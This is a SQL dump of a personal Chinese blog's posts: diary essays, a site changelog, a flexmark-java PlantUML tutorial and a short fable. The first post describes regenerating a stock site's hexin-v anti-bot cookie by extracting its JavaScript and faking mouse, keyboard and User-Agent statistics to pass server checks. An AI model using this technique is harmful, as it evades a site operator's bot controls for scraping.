INSERT INTO `tb_post` VALUES (174, -1, 0, 0, 1, 'hexin-v 生成笔记', NULL, 0, 'hexin-v-generate', '阅读参考文章 <sup>[1](/archiveName/hexin-v-generate#fn-1)</sup> ，获取脚本，修改。可以改成任何自己爱用的语言。', '阅读参考文章[^1]，获取脚本，修改。可以改成任何自己爱用的语言。\n\n本质是获取当前操作者的浏览器信息、鼠标键盘事件统计、生成 hexin-v 的时间，以及定期从服务器获取的 `SERVER_TIME`，经过可逆加密来生成一段密文，携带在请求中，服务器收到请求后再比对验证。\n\n所以按原文说的，抠一下 js代码。主要还是抠加密代码，解密代码咱也用不上。\n\n需要注意两点：\n1. 最后生成主体中，其实是统计了 `mouseMove`、`mouseClick`、`mouseWheel`(写脚本的家伙错拼成了`mouseWhell`)、`keyDown`、`clickPosX`和`clickPosY`的。前面 4 者是每有一次操作时都 +1，后 2 者是当 keyDown 发生时的点击坐标。虽然现在置为`0`也没关系，但若要模拟的足够逼真，每次 Update 的时候：\n	- 前 4 者可以 + 合适的随机数再参与生成；\n	- 后 2 者可以取合适的屏幕坐标随机数范围。\n2. `strHash` 是拿当前 User-Agent 去 hash 了，要模仿的够逼真，可以拿爬虫模拟的 User-Agent 去 hash。谁知道后面会不会真的去验证这玩意呢？\n\n```mermaid\ngraph LR\n    A[Init random value,<br/><code>strHash</code>or 0] --> B[Query chameleon.js<br/>to get<code>SERVER_TIME</code><br/>, and generate<code>hexin-v</code>];\n    B -- Succeed --> C[Request and<br/>add random<br/>to statistic<br/>fields];\n    C --> D{Content-type?};\n    D -- text/html --> B;\n    D -- application<br/>/json --> F[Process<br/>/Next request];\n    B -- Failed ----> E[Retry/End];\n```\n<center>流程</center>\n\n[^1]: [股市数据采集js逆向解决hexin-v cookie 解决失效后自动更新复刻核心算法](https://blog.csdn.net/weixin_47481982/article/details/127619823)', 0, 366, '', 1, 0, '2023-02-24 23:01:49', '2023-02-26 22:13:24');
INSERT INTO `tb_post` VALUES (175, -1, 0, 0, 1, '轮到我了吗', NULL, 0, 'is-it-my-turn', '', 'P 妹打算二战研究生。她给我的 to-do list 是 5 月考托福、8 月 CPA，12 月二战。她那在美利坚的男朋友也在忙着找工作。我和 P 妹完全是两个极端。她每天都有很多想法，并且执行起计划来也是一等一的强，哪怕不会编程，也能每天手搓一份 Excel 出来；而我，我每天也有很多想法，但在执行方面就像一坨黏在马桶内壁的屎，哪怕再大的水流冲着我，我也死活不挪动一步。\n\n我确是随心所欲惯了，似乎在成长路径上，我从没有为了选择某条道路而主动做好准备，完全是凭着兴趣在做事。只是运气比较好，兴趣点总是莫名和未来未知的方向相契合。又或许凭着兴趣做事，本就是一种准备，也提前决定了我的未来？我不清楚。在这 2023 年的 2 月底，我只希望我能更努力一些，好好安排好计划和时间，别再让光阴白白浪费了。', 0, 236, '', 1, 1, '2023-02-27 00:39:44', '2023-02-27 00:46:33');
INSERT INTO `tb_post` VALUES (176, -1, 0, 0, 1, '变更记录', NULL, 1, 'change-log', NULL, '<style>\n.post-content tr>td:first-child,.post-content  tr>th:first-child {\n    width: 94px;\n}\n.post-content tr>td:last-child>* {\n    display: inline-flex;\n    margin: auto 0;\n    vertical-align: middle;\n    line-height: 1\n}\n.post-content img {\n    padding: 0\n}\n.theme-preview {\n    border: 1px solid var(--curr-border-color)\n}\n</style>\n\n## 主题\n<img src=\"/blog/bleaching/images/bleaching.svg\" class=\"notbox\" title=\"Bleaching\" width=\"104px\" height=\"40px\"/>\n<center>「漂白」</center>\n\n<p>\n<img src=\"/upload/20230228_23393276.jpg\" title=\"Bleaching Preview\" class=\"theme-preview\"/>\n</p>\n\n|时间|内容|\n|---|---|\n|2023-12-20|修正评论时`katex`判断报错；新增 Wiki 功能后的主题适配|\n|2023-11-18|archives 页面添加分类和标签；解决 Safari 下不支持 backdrop-filter 和 prefetch 导致的样式错误问题|\n|2023-05-09|优化：mermaid 9 transform: translate(undefined)...问题；dogbox 异步载入 & 缓存|\n|2023-05-08|优化目录|\n|2023-05-06|首页优化；评论页提交 mermaid，或分页含有 mermaid 时渲染的问题|\n|2023-03-11|代码过长折叠<br>样式修改|\n|2023-03-09|添加图片和 SVG 的灯箱|\n|2023-03-01|支持 [plantuml](https://www.plantuml.com) 后对白天/黑夜模式的样式支持|\n|2023-03-01|目录定位顶端偏移；menu touch 改 click 避免滑动目录时触发定位；小屏时顶端站点名和描述隐藏；默认输入框样式，适配文章中可能存在的输入框|\n|2023-02-28|<span>新增主题</span><img src=\"/blog/bleaching/images/bleaching.svg\" title=\"bleaching\" width=\"52px\" height=\"20px\"/><span>，支持黑夜模式 <span class=\"header-nav\"><i class=\"theme-icon\"></i></span>|\n\n<img src=\"/blog/sketch/images/sketch.svg\" class=\"notbox\" title=\"Sketch\" width=\"134px\" height=\"40px\"/>\n<center>「草图」</center>\n\n<p>\n<img src=\"/upload/2023/12/20231205_203511909_ZdJTHSIzSyNU.png\" title=\"Sketch Preview\" class=\"theme-preview\"/>\n</p>\n\n|时间|内容|\n|---|---|\n|2023-02-27|支持 [mermaid](https://mermaid.js.org/)|\n|2023-02-17|修正 archives 样式|\n|2023-02-16|评论 KaTeX、代码、blockquote 样式修改|\n|2023-02-15|评论时首条评论插入失败的问题|\n|2023-02-14|修正归档页自适应样式|\n|2023-02-14|加密文章提交密码逻辑更改|\n|2023-02-14|评论大于 99 条的，显示 99+|\n|2022-03-09|支持 KaTeX 数学公式|\n|2021-12-02|添加 Gravatar &lt;img> 标签的 referrerpolicy=\"same-origin\" 属性，不向 CDN 发送 referrer|\n\n## 系统\n<img src=\"/blog/bleaching/images/doghouse.svg\" class=\"notbox\" title=\"Doghouse\" width=\"162.5px\" height=\"30px\"/>\n<center>「狗窝」</center>\n\n\n|时间|内容|\n|---|---|\n|2023-12-26|新增邮件功能|\n|2023-12-20|新增 Wiki 功能|\n|2023-12-15|更新依赖组件版本；修正 post/tag/category 使用 friendlyName 作为 uri 时可能出现的转义问题；静态类前端注入和相关工具类/注解；去除通过 Cookie 保存加密文章密码的逻辑；页面 uri 规则更新和重定向；引入静态资源版本号及引入后 lazyJS 载入适配|\n|2023-12-05|配置项自动注入和注入更新|\n|2023-12-04|修改上传文件存储和重命名逻辑|\n|2023-11-21|修复：默认进入后台评论时，commentStatus 为空（实际上默认为 RELEASE）导致的 history 后退无法切换状态的问题|\n|2023-11-18|新增：后台文章/页面编辑界面保存后记忆光标位置|\n|2023-05-06|plantuml 支持自定义 attr，如 `alt` 或 `title` 等|\n|2023-03-01|支持 [plantuml](https://www.plantuml.com)|\n|2023-02-27|支持 [mermaid](https://mermaid.js.org/)|\n|2023-02-23|修正编辑页面的自动完成填充密码问题，修正 edit 载入相关页面时 editormd 加载内容不全/滚动条高度计算错误问题|\n|2023-02-18|修正编辑文章/页面处文章内容转义问题|\n|2023-02-17|修正后台编辑评论时 url 丢失的问题|\n|2023-02-16|修复评论数统计|\n|2023-02-16|Markdown 转义 SOFT_BREAK 由 \\n 改为 &lt;br/>\\n|\n|2023-02-15|修正评论过滤插件中文识别 BUG、jumpTo 方法未考虑审核评论分页问题|\n|2023-02-14|修正 Codemirror bug 导致的手机端编辑 md 文件带出多个回车的问题；修正评论管理页面小屏显示的问题|\n|2023-02-14|适配 Feed 对加密文章的显示|\n|2023-02-14|修正当文章采用独立页面且存在密码时回复失败的问题|\n|2023-02-13|修正 Feed 中，对使用 “&lt;!--more-->” 格式的文章的摘要填充|\n|2023-02-13|添加文章统计项支持|\n|2023-02-13|加密文章逻辑优化|\n|2023-02-09|删除不必要的组件|\n|2023-02-08|解决评论重复的问题|\n|2023-02-07|树状选择控件改为树形折叠表格|\n|2022-03-09|支持 KaTeX 数学公式|\n|2021-12-23|增加 Feed 订阅功能|\n|2021-12-02|修正评论正则表达式错误、后端权限校验错误；添加网站设置：每页评论数|\n|2021-12-01|遵循第一范式的 Cate 和 Tag|\n|2021-11-28|上线测试，文章导入|\n|2021-11-27|完善配置项通用接口|\n|2021-11-24|优化评论管理、文章前言编辑|\n|2021-11-19|增加文件上传模块|\n|2021-11-19|当已登录时，显示私密日志；修改树状选择控件 getChecked 方法的返回结果；编辑页 ajax；HTML 压缩；合并采用 id 和独立名称、独立页面的控制器|\n|更早|忘了|\n', 0, 418, '', 0, 0, '2023-02-28 15:07:55', '2023-12-27 01:13:53');
INSERT INTO `tb_post` VALUES (177, -1, 0, 0, 1, '为 flexmark-java 添加 PlantUML 支持', NULL, 0, 'flexmark-plantuml-extension', '```plantuml:svg[alt/title=示例plantuml图形]\n@startuml\nAlice -> Bob : Hello <:1f600:>\nreturn <:innocent:>\nAlice -> Bob : Without color: <#0:sunglasses:>\nAlice -> Bob : Change color: <#green:sunny:>\n@enduml\n```\nWrite a flexmark-java-plantuml extension.', '## 起因\n博客换了新的主题 Bleaching，支持黑夜模式。但在黑夜模式下，原本一些流程图就不好看了，比如原本在《[中控考勤机破解杂记](/archiveName/zkteco-attendance-machine-cracking)》一文中，对触发器更新打卡时间的示意图。那张图原本是用 processon 画的，背景也置为了透明，但 1. 位图对缩放不友好；2. 颜色无法根据主题自适应；3. 制作和修改流程图繁琐。\n\n原本是考虑用 mermaid 来做替换，但 mermaid 有个欠缺的地方，就是流程图方向难以控制绘图边界，后来经过研究，决定让博客支持 [PlantUML](https://plantuml.com/)。\n\nPlantUML 支持在线调用：仅需要将代码 encode 成对应的字符串，拼接成对应的 URL 即可访问并获取图形，即允许我们在最终渲染完成的 html 文件中采用 `img` 标签来显示对应的图形。当然，也可以直接生成对应图形，通过指定 base64 的方式渲染在 HTML 中。\n\n## 初探\n\n当我们在 markdown 里写 LaTeX 和 mermaid 时，我们是将其包裹在 fenced code block 中的：\n\n<pre>\n<code style=\"padding-bottom:0\">```mermaid\ngraph LR\nA --> B\n```</code>\n</pre>\n\n经最终渲染后，一般都会将其内容包裹在 `pre` 标签和 `code` 标签中，并在标签上打上对应语言 class 属性：\n\n```html\n<pre>\n    <code class=\"language-mermaid\">graph LR\nA --> B</code>\n</pre>\n```\n\n但显然，mermaid.js 和 katex.js 是针对 class 为对应语法的`div`层起作用的，如果将其也包裹在 pre 和 code 中，那么前端渲染将失效。\n\n但 flexmark-java 开启了 GitLabExtension 后，是不会将语言为`mermaid`和`math`的 fenced code block 渲染在 pre 和 code 标签内的，而仅仅是将其内容作为文本包裹在 div 层中，然后打上对应的 class，使其能够被前端的 js 正确捕获并渲染：\n\n```html\n<div class=\"mermaid\">graph LR\nA --> B\n</div>\n```\n\n也就是说，flexmark-java 有自己的一套流程（实际上 flexmark 的任何衍生版本都是），允许扩展对特定语言类型的 fenced code block 进行自定义渲染。而为了支持 PlantUML，我们也恰巧需要对语言标记为`plantuml`的内容进行自定义渲染，这便对我们支持 PlantUML 提供了可能。\n\n## 原理\n\n根据 flexmark-java 的 [Wiki 指南](https://github.com/vsch/flexmark-java/wiki/Writing-Extensions#parsing-process)，以及对 GitLabExtension 的源码阅读，我们知道对特定 fenced code block 的渲染发生在第 6 步：HTML Rendering 里，其本质是当识别到特定语言的 Node 时，对其进行自定义拼接：\n\n```java\n// Code pieces from GitLabNodeRenderer.java\nif (this.options.renderBlockMermaid \n    // If `language` is in String[]{\"mermaid\"}\n    && language.isIn(options.mermaidLanguages)) {\n    html.line();\n    // Open a `div` tag, and set the `class`\n    // tag to `options.blockMermaidClass`,\n    // which is \"mermaid\" by default.\n    html.srcPosWithTrailingEOL(node.getChars()).attr(Attribute.CLASS_ATTR, this.options.blockMermaidClass).withAttr().tag(\"div\").line().openPre();\n    if (codeContentBlock) {\n        context.renderChildren(node);\n    } else {\n        // node.getContentChars() provides the\n        // inner text of the fenced block code.\n        html.text(node.getContentChars().normalizeEOL());\n    }\n    // close this div\n    html.closePre().tag(\"/div\");\n\n    html.lineIf(htmlOptions.htmlBlockCloseTagEol);\n} else {\n    context.delegateRender();\n}\n```\n\n我们要做的就是仿照 `GitLabExtension` 来写一个 `PlantUMLExtension`，然后按照 flexmark-java 提供的拼装方式，拼装成对应的 HTML 元素即可。\n\n```java\nprivate void render(FencedCodeBlock node, NodeRendererContext context, HtmlWriter html) {\n    HtmlRendererOptions htmlOptions = context.getHtmlOptions();\n    BasedSequence language = node.getInfoDelimitedByAny(htmlOptions.languageDelimiterSet);\n\n    if (this.options.renderBlockPlantUML\n    // I set `plantUMLLanguages` as String[]{\n    //     \"plantuml\",\n    //     \"plantuml:png\",\n    //     \"plantuml:svg\"}\n    // by default in order to appoint format\n    && language.isIn(options.plantUMLLanguages)) {\n        String format = \"png\";\n\n        if (language.length() > 8) {\n            @NotNull BasedSequence formatSeq = language.subSequence(9);\n            format = formatSeq.toString();\n        }\n        String encode = deflaterCompressString(node.getContentChars().normalizeEOL());\n        // Do your own rendering\n        render(node, html, htmlOptions, format, encode, options.darkMode);\n\n        if (options.bothModes) {\n            render(node, html, htmlOptions, format, encode, !options.darkMode);\n        }\n\n    } else {\n        context.delegateRender();\n    }\n}\n```\n\n\n## 通过调用 url 的方式生成图形\n\nPlantUML 允许通过在线服务的形式，远程调用并生成图形：\n\n```plantuml:svg[alt/title=从代码生成图形]\n@startuml\n(*) -down-> \"<b>Source code:</b>\\n＠startuml\\nBob -> Alice : hello\\n＠enduml\" as A1\n\nA1 -down-> \"  Raw\\ndeflate\"\n-down-> \"Special base64-like encode\"\n\n-down->[Encode as \"SoWkII..\" and\\nconcat after service url] \"https://www.plantuml.com/plantuml/svg/SoWkII..\"\n\n-down-> \"Used in an <img> tag with attribute \'src\'\"\n@enduml\n```\n<center>这也是一张远程调用的图形</center>\n\n需要做的就是参照文档提供的 [**特殊的 Base64 编码**](https://plantuml.com/zh/text-encoding)，将源码转换为压缩后的编码，然后在自定义的 `NodeRenderer` 中拼装为 img 标签。\n\n### Deflate 压缩\nSource Code 采用 Deflate 压缩成字节数组，压缩率任选。可以 Raw Deflate，也可以是带 Header 的 Deflate。\n\n### 特殊的仿 URL-Safe Base64 编码\n按上面提供的编码文档进行编码。\n\n### 拼接 URL\n如果一开始选用的压缩是 Raw Delfate，那么直接拼接即可。如果是带 Header 的 Deflate，那么要在 64 编码后的字符串前拼上“~1”，再拼接到 URL 中。\n\n### 适应黑夜模式\n对于 PlantUML 的在线服务，其提供了正常和黑夜两种模式的渲染，我们可以通过拼接不同 URL 来获取不同模式下的图形：\n\n正常模式：\npng: https://www.plantuml.com/plantuml/png/[encoding]\nsvg: https://www.plantuml.com/plantuml/svg/[encoding]\n黑夜模式：\npng: https://www.plantuml.com/plantuml/**d**png/[encoding]\nsvg: https://www.plantuml.com/plantuml/**d**svg/[encoding]\n\n为了适应博客的日夜模式，只需要在渲染的时候，同时渲染两张图形，并对两种不同模式的图形的 img 标签打上不同的 class：\n\n```html\n<!-- for bright mode -->\n<img class=\"plantuml\" src=\"[bright mode image]\"/>\n<!-- for  dark  mode -->\n<img class=\"plantuml dark\" src=\"[dark mode image]\"/>\n```\n\n然后在主题上配置对应的样式：\n```css\nbody:not(.dark) .plantuml.dark, body.dark .plantuml:not(.dark) {\n    display: none;\n}\n```\n\n即可。具体根据不同主题来。\n\n## 通过调用 api 的方式生成图形\n\n可以参照 [这篇文档](https://plantuml.com/zh/api)，渲染出对应图形后，再编码为 `data:[<mediatype>][;base64],<data>` 的 [Data URLs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) 的形式，再进行拼装。原理类似。\n\n### 适应黑夜模式\n#### 方式 1\n你可以自定义 `NodeRenderer` 对 fenced code block 的解析规则，比如在语言后加上样式注入：\n\n<pre><code style=\"padding-bottom:0\">```plantuml[class=\"dark\"]\n[Your PlantUML source code here]\n```</code></pre>\n\n让 `NodeRenderer` 在识别到对应的 `[class=*]` 序列时，将其解析并添加到 Attribute 中。然后，在编辑 Markdown 时，同时编辑两份 PlantUML 代码：一份是正常的不带 class 的代码，另一份是配置了 PlantUML 黑夜主题，并且带 class 的代码，最后两张图形同时加载，通过前端主题样式控制对应白天/黑夜模式下的图形显隐即可。\n\n#### 方式2\n渲染时，采用 SVG 渲染，最终格式不要采用 img 标签，而是直接将 SVG 结构插入 HTML 中，而后再在前端配置对应 SVG 元素在黑夜模式下的样式即可。\n\n## 后记\nflexmark 很好用。PlantUML 很强大，但有一定的学习门槛。用来做博客文章的流程插图，有点杀鸡用牛刀的感觉了。', 0, 466, '', 1, 0, '2023-03-01 23:44:36', '2023-11-23 14:00:50');
INSERT INTO `tb_post` VALUES (178, -1, 0, 0, 1, '高才通计划，去还是不去呢', NULL, 0, '', '', '被家里人推了这个高才通计划，看了政策，满足 B 类条件。但是，后顾之忧太多。哎。', 0, 5, '', 1, 1, '2023-03-06 23:36:09', '2023-03-06 23:36:09');
INSERT INTO `tb_post` VALUES (179, -1, 0, 0, 1, '博客挂广告 = 女朋友的 B 上贴开锁电话', NULL, 0, '', '傻 B 行为', '缺这点广告费的话建议你趁早把独立博客关了。\n\n<style>\nbutton.comment-submit-button:not(.btn-loading)::before {\n    content: \"对号入座\"!important;\n}\n</style>\n\n<script>\n$(document).ready(function(){\n    $(\'.trigger-title\').text(\'欢迎 SB 对号入座\')\n})\n</script>', 3, 39, '', 1, 1, '2023-03-11 14:26:58', '2023-03-11 14:57:47');
INSERT INTO `tb_post` VALUES (180, -1, 0, 0, 1, '网络灰产 - 分销', NULL, 0, '', '', '> 本文是「[网络灰产](/category/cyber-underground-industry)」系列的第 1 篇文章。「网络灰产」系列主要剖析网络上存在的一些灰色产业，仅供分析其技术和商业模式，做到警醒用途。切勿用于非法用途。\n\n老色批们时常能在一些群里看到一些福利转发，大多是少儿不宜的内容。给出聊天记录和一些截图之后，在末尾再放上一张二维码，做扫码进群、资源购买。在付款的', 3, 5, '', 1, 1, '2023-03-23 03:28:41', '2023-03-23 03:37:19');
INSERT INTO `tb_post` VALUES (181, -1, 0, 0, 1, '对外开放平台设备上报存储说明', NULL, 0, '', '', '### 基本结构\n\n采用`receive_data` 表对设备上报数据进行存储。由于目前，设备大多是通过独立报文上报，比如水量电量分开，且不同设备上报的字段不一致，所以通过 `json` 的方式进行存储。\n\n假设存在一水表设备，考虑以下的初始报文：\n\n```json\n{\n    // 水量\n    \"watermeterReading\": {\n        \"updateTime\": \"20230403T120012Z\",\n        \"value\": 29\n    },\n}\n```\n\n将以上的整体称为`大报文`，大报文内的一级 key-value 结构称为`小报文`。小报文内一般包含两个字段，用以表计小报文更新时间的`updateTime`和小报文字段的具体值`value`。在以上的例子中，小报文“水量”的更新时间为 2023 年 4 月 3 日 12 时 0 分 12 秒，值为29.\n\n在上报初期，假设该水表只上报了信号相关值，故大报文内仅包含信号这一条小报文。\n\n### 字段更新\n\n后期，假设于 2023 年 4 月 3 日 19 时 23 分 01 秒上报了一条信号报文，则取目前数据库内的最新一条报文', 3, 2, '', 1, 1, '2023-04-07 14:37:10', '2023-04-07 14:37:10');
INSERT INTO `tb_post` VALUES (182, -1, 0, 0, 1, '女神之塔', NULL, 0, 'tower-of-godness', '', '你是一个冒险者，来到了一个全新的副本。副本主人看起来庄严霸气，在副本入口迎接你。你一进入到副本，就发现自己站在半空中的脚手架平台上，而脚手架围着的，是一座未建完的石质塔。\n\n副本主人看到你来，缓缓说道：冒险者啊，欢迎你来到我的副本。你的任务就是建造这座塔，让塔的高度，足以够到上方的女神。\n\n听副本主人这么一说，你才注意到未完成的塔的上方，约摸五六米处，漂浮着一位散发着圣光的女神。那圣光太过耀眼，以至于你一开始以为那是猛烈的阳光，才让你没注意到女神。女神皎洁的面庞、美丽的圣体看着是多么迷人，她面带微笑、沉默不语，却向着你在的方向伸出手，似乎在邀请你一起化身为神，又似乎想让你将她带走，一起过上幸福的生活。\n\n你看得着了迷，又忽然觉得这目光的接触是对女神的不敬。你咽了咽口水，撇过脸向下望去，下方不远处竟被重重的浓雾笼罩着，就算是女神的圣光，也无法将那浓雾驱散——你不知道这座塔究竟有多高，也不知道这座塔下究竟是如何建造的。\n\n副本主人似乎读懂了你的疑惑，开口向你说道：这座塔高不过十二矢尺，在你们的世界，大概是三层楼的高度。塔下用青铜浇筑了二十四矢尺的地基，并在地下六矢尺至地上六矢尺处，铆接打磨上好的花岗岩。这耗费了不下上千个勇士的辛勤劳作，他们对女神的向往，让他们为了建造这座塔而献出了自己的生命。\n\n你不解：不过三层楼高的塔，为何需要六层楼的地基，还需要青铜浇筑、花岗岩铆接？为什么塔的建造需要上千条生命？浓雾的下方，究竟有什么？\n\n副本主人说：这浓雾实际上是诅咒之毒，只要触碰到一点，则死期就已经确定了。剩下的日子你的身体并不会变得虚弱，但你的皮肤会一矢一矢地剥落、撕裂，直到你的肌肉和血管完全裸露在外——稍微一点磕碰或感染，就会直接要了你的命。\n\n你看副本主人面色凝重，不由得咋舌。虽然你以前已经见过很多稀奇古怪的副本，但这个副本还是让你惊诧。不算高处的女神、严丝合缝的青砖石塔、半空中的脚手架和身下的迷雾，一切谜题的要素都具备了。你知道这个冒险世界的规则：所见即是真实的。所以你眼前见到的女神是真实的，不会是幻象。若真的触碰到女神，那就一定会获得女神的祝福。只是副本的参与也有条件：需要上缴足量的金币，才能开始塔的建造。不过和女神的祝福比起来，这些金币又算得上什么呢？\n\n副本主人继续对你说：要触碰到女神，就要搭建这座塔。站在塔上，塔下的勇者会踩着台阶将石砖从塔的下方运送上来，你要做的，就是用勇者送上来的石砖，继续往上搭建这座塔。\n\n你站在脚手架的边缘，伸头看了看眼前未完成的塔平台，塔平台被木板搭着，塔内部是盘旋在内壁上的石阶，往下一直旋转延伸到迷雾中——你没有看错，塔的内部也被浓雾笼罩着。你转头问副本主人：这下面，真如你所说的那样牢固么？你心里没有底，就像你担心这座塔也没有底一样。\n\n副本主人哈哈大笑，但仍然不改一脸威严，指向一旁的书堆和信件说：这是无数勇士和冒险者为这座塔做的背书，也有博学的学者为这座塔的建造做的调研，甚至冒险世界的国王也对这座塔给予了很高的评价。你顺着他手指的方向看去，数不清的信件上盖着金色的火漆，已拆封的信件上还隐约画着复杂的纹章：那是达官贵人、王室贵胄的标志。\n\n副本主人看你仍有疑虑，便打了个响指，不久后，塔的内部便爬上来几个身材壮实的勇士，他们的皮肤确已脱落不少，身上留下猩红的伤口。副本主人对他们说：跟这位冒险者说说，我说的是不是真的。\n\n勇士们你一言我一语地向你解释了起来：有人说这座塔的确很牢靠，是他们用最先进的技术建造的；有人说一直追随女神就是此生最大的荣幸，无论被祝福的是不是自己；还有人说他实际上不想在这浓雾之中，但为了生活迫不得已。他们情真意切、言之凿凿，似乎没有在欺骗你。\n\n你开口问道：但你还没有解释为什么这塔需要用青铜浇筑二十四矢尺的地基？为什么需要铆接？\n\n副本主人怔了一下，说道：那当然是为了让冒险者更安全。这里的地面是松软的泥沙，不做这些浇筑，塔很容易就会倒塌。既然做，就要做到最好。我们想冒险者之所想，忧冒险者之所忧，无时不刻不再为每一个来到此地的冒险者服务——要知道，绝大部分冒险者是没有建造塔的经验的，若底下的塔基不牢靠，建造塔将十分危险。\n\n你忽然听到不知哪里传来了一声冷哼——声音很轻，甚至没有用声带发音，像是有人在清理鼻腔。你继续问副本主人：那之前的冒险者呢？\n\n他们都已经获得了女神的祝福，前往其他副本开启新的冒险去了。副本主人说到。这似乎没办法反驳：副本完成后，的确会刷新，等待下一个冒险者的到来。你思考了一会，说道：好，我会继续建造这座塔的。\n\n副本主人说道：祝福你，冒险者，你一定能将塔建造到能够得着女神的高度的。\n\n你没有再多说什么，径直跳上了塔平台，勇士们一个接一个地把青石砖送上来，你也有模有样地按着副本主人提供的操作手册在搭建着。有时候勇士的步伐稍微缓慢了点，得到的便是副本主人的怒吼：加快脚步，不要怠慢了我们的冒险者！你趁副本主人不注意，偶尔悄悄拉住勇士，问了一开始问副本主人的同样的问题，可勇士的回答和之前依然相差无几。\n\n搭建塔的进展很是缓慢，你感觉已经搭建了不少砖块，但搭建出的边缘似乎并没有和女神接近了多少——甚至都没有高处脚手架多少。副本主人不在现场，不知哪里去了，勇士们依然在往上送青石，但比起副本主人在场呵斥的时候，速度已然慢了很多。看着头顶上依然美丽圣洁的女神，你没来由地焦虑了起来，心中一直回响着一个疑问：我究竟能不能够到女神？\n\n你坐在塔平台的边缘，往塔内部望去。喘口气的功夫，你做了一个大单的决定：到塔下面去看看。\n\n当天的深夜，你便动身了：你蹑手蹑脚地沿着台阶往下走，心提到了嗓子眼，快要进入迷雾的时候，你还是犹豫了——哪怕你经历了再多副本的洗礼，在看不见的浓雾面前，还是不由得担心了起来，但冒险者的信条还是让你鼓起勇气走进了浓雾。你发现这浓雾竟有一股青草的气息，越往深处走去，这股气息就越明显。不知走了多久，浓雾里缓缓地出现了一些火光，', 3, 15, '', 1, 1, '2023-04-10 10:50:50', '2023-04-10 12:44:27');
INSERT INTO `tb_post` VALUES (183, -1, 0, 0, 1, '脸色', NULL, 0, 'attitude', '![拿了我的花，跟我走吧](/upload/20230428_15461423.png \"拿了我的花，跟我走吧\")', '麻将局一直持续到凌晨三点，四点钟我才回到家。一进门，我就冲到卫生间抱着马桶呕吐起来。已经碳化的菜叶拍在马桶内壁上，一条一条黑色的分不清是青菜还是紫菜。吐到再也吐不出来，我扶着洗手池，憋了一会清出点唾液，里面竟还带着血。头昏昏沉沉的，估计丁立人和涅波在连打快棋的时候也是这个鸟样。\n\n即使去之前和未来老丈人喝了几杯白酒，甚至打麻将时还开了小明一罐啤酒来喝，这次还是狠狠地搞了几个狗日的麻友一笔。算上两天前的收入，两次麻将赢了六百多分，出了一口恶气。\n\n时间回到两天前，也是打了八个小时的麻将，而后从凌晨四点催到下午四点，豹哥终于把未结的一百零一块麻将钱还清了。有时候我真的搞不懂，一个几百万甚至上千万身家的人，怎么连一百出头的麻将钱都如此拖沓。结完之后，豹哥还在那里说我欺负穷人。彼时我在办公室加班，我低头看看自己笔记本，上面是我刚算的个人负债，还掉了今天应还了六万块以后，剩下的零零总总加起来差不多十万零几千，这还没算我那三百万的房贷。再抬头，豹哥还在微信上说我逮着他一只羊薅，说我是地主，骑在他头上作威作福。\n\n我不是个例。好几次大家和豹哥打麻将，他也是拖欠着输的钱不给，借口更是五花八门。一会儿是什么「等下周末和某某打赢回来了再给」，一会儿又是什么「我是最大受害者」。尤其是后者，一旦谁说了他不是最大受害者，那就中计了，他会把祸水往那人身上引：某某说我不是最大受害者，你的钱找他要。搞到最后，大家都被迫承认他是最大受害者，不然一个子都别想拿回来。\n\n表弟说豹哥以前根本不是这样的，但自从家里中了千万彩票以后，豹哥整个人气色都变了，动不动就恶心人，自己倒是过得舒坦。表弟说：你还记得那个一班的谁谁谁吗，她家里也是太 TMD 有钱了。我说那你就拿下她啊。他嗤笑：得了吧，一晚上十几个小鲜肉都不够她夹的，我这个阳痿患者去了只能在旁边加油呐喊。\n\n表弟说：表哥，我命怎么这么苦啊，重开算了。\n\n说实话我也想重开。有天清晨我惊醒，耳道特别痒，但是又困又想接着睡，就懒得掏了。但突然间又觉得，如果以后我耳朵痒都没办法掏了，比如我手断了，或者我又聋又瞎又哑巴了，旁人根本不知道我想掏耳朵，我该怎么办？我突然就很焦虑，一把扒开窗帘，推开窗大口大口地呼气，我突然就很想死，很想从那个根本钻不出去的窗口钻出去，然后砸在地面上死掉算了。\n\n后来我翘了班，硬是在床上呆坐到十二点。我想了很久，觉得这是我内心的一种投射：耳朵痒=日常生活不如我意，掏不了=我没办法做改变。在这个心境里待久了，连耳屎都在向我抗议了。我是没想过我没被生活里的各种逼事打败，却差点被耳屎逼得重开。\n\n不久前又有一个同事受不了公司的种种混乱安排，向老板递了辞呈。其实这早有预兆，在他递交辞呈的前一天，在工作群里就开始口吐芬芳，连「鸡巴毛」这样的词语都蹦出来了。纵使我经常在工作群里喷人，见到这么直接的言论还是有被惊艳到。\n\n就算我曾经说过，谁给我发工资我就是谁的狗，我也还是梦想着有朝一日能说走就走。希望在不久的将来，我也能有不看别人脸色的底气，也能理直气壮地欠别人钱不还。\n\n', 0, 395, '', 1, 0, '2023-05-03 23:49:38', '2023-05-06 19:39:20');
INSERT INTO `tb_post` VALUES (184, -1, 0, 0, 1, '戒麻', NULL, 0, '', '', '三杯白酒下肚以后，我几乎整场晚餐都闭口不言，剩下的张口都是往嘴里夹菜。我趁大家聊天的空档低头玩手机。我在群里说：未来老丈人跟我说喝不了就别喝，我是不是凉了。不一会，小明就跳出来说：绝对凉了。\n\n饭局从六点到九点，从老丈人家出来以后，我就搭着网约车往小明家赶。上车之前，豹哥就在群里艾特我：财神什么时候到，我要回家了。我头晕脑胀地往上翻，看到给分表瞬间酒醒了不少：豹哥被小明清一色连杠开花，瞬间输了三百多分。我又喜又怕：喜是看热闹不嫌事大，怕是我怕待会我也会被这样吸一笔。上次小明输了五百多分，这次怕不是攒了一波蓝准备开大。\n\n-------\n\n对局一直持续到凌晨三点，四点钟我才回到家。一进门，我就冲到卫生间抱着马桶呕吐起来。已经碳化的菜叶拍在马桶内壁上，一条一条黑色的分不清是青菜还是紫菜。吐到再也吐不出来，我扶着洗手池，憋了一会清出点唾液，里面竟还带着血。头昏昏沉沉的，估计丁立人和涅波在连打 12 局快棋的时候也是这个鸟样。\n\n我没有被狠狠地吸上一笔，相反，我几乎把所有人都吸了一遍。豹哥从负三百多分输到负五百分，小明也从三百多分掉到一百七十分。只有检测，只输了二十几分，相比于豹哥，他好上太多了。\n\n刚开始学麻将的时候，我总在刻意追求更高的面听数。我理所应当地认为面听数越多越容易胡牌。事实也的确如此，听三六九总比单吊一张七容易胡吧？有一天我突然意识到，我在其他方面好像也是这么做的：感情上总是不断寻求开放的选择，享受多线发展带来的悸动的快乐；又或者是做编程工作的时候总是刻意去寻求各方面的完善，任凭苛求完善把我的计划打乱。', 3, 6, '', 1, 1, '2023-05-05 00:01:19', '2023-05-05 17:15:06');
